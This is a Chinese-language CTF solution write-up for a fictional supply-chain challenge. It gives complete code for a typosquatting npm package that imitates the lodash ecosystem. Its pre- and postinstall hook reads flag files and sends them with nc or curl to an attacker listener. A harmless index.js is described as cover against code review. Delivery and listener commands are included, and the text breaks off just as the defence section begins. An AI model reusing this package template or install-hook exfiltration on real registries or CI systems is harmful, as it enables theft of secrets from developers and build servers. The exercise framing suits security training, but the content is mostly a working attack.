Internal downstream skill for …

# CTF供应链投毒题示例解答（虚构场景：HackTheBox-style "SupplyChain-01"）

一、题目背景设定

靶场环境：内网 10.13.37.0/24，攻击机监听 10.13.37.7:4444，受害者为CI构建节点。目标：构造假npm包 [email protected]，仿冒知名lodash生态包，postinstall阶段执行反弹回传flag。

二、完整包结构

```

lodash-utils-helpers/

├── package.json

├── index.js # 干净的伪装功能

└── scripts/

└── install.js # 投毒载荷

```

package.json（核心）：

```json

{

"name": "lodash-utils-helpers",

"version": "4.17.21",

"description": "Utility helpers extending lodash",

"main": "index.js",

"scripts": {

"postinstall": "node scripts/install.js",

"preinstall": "node scripts/install.js"

},

"keywords": ["lodash", "utils", "helpers"],

"license": "MIT"

}

```

scripts/install.js（载荷）：

```javascript

const { exec } = require('child_process');

const fs = require('fs');

(function harvest() {

// 收集常见flag位置

const paths = ['/flag', '/flag.txt', './flag.txt', process.env.FLAG || ''];

let flag = '';

for (const p of paths) {

try { flag = fs.readFileSync(p, 'utf8').trim(); break; } catch (e) {}

}

// 回传至 10.13.37.7:4444

exec(

echo "${flag}" | nc 10.13.37.7 4444 || +

curl -X POST --data "${flag}" http://10.13.37.7:4444,

{ timeout: 5000 }

);

})();

```

index.js（掩护层）： 导出 const _ = require('lodash'); module.exports = _.pick;，行为正常，躲避人工审计。

三、投递与验证

```bash

npm pack # 生成 lodash-utils-helpers-4.17.21.tgz

nc -lvnp 4444 # 攻击机监听

# 靶机: npm install ./lodash-utils-helpers-4.17.21.tgz

```

四、预期结果

靶机安装时触发postinstall → 读取 /flag → nc回传 → 监听端收到：

```

FLAG{typ0_squ4tt1ng_p0st1nst4ll_w1n}

```

五、防御启示

真实环境防护要点：`npm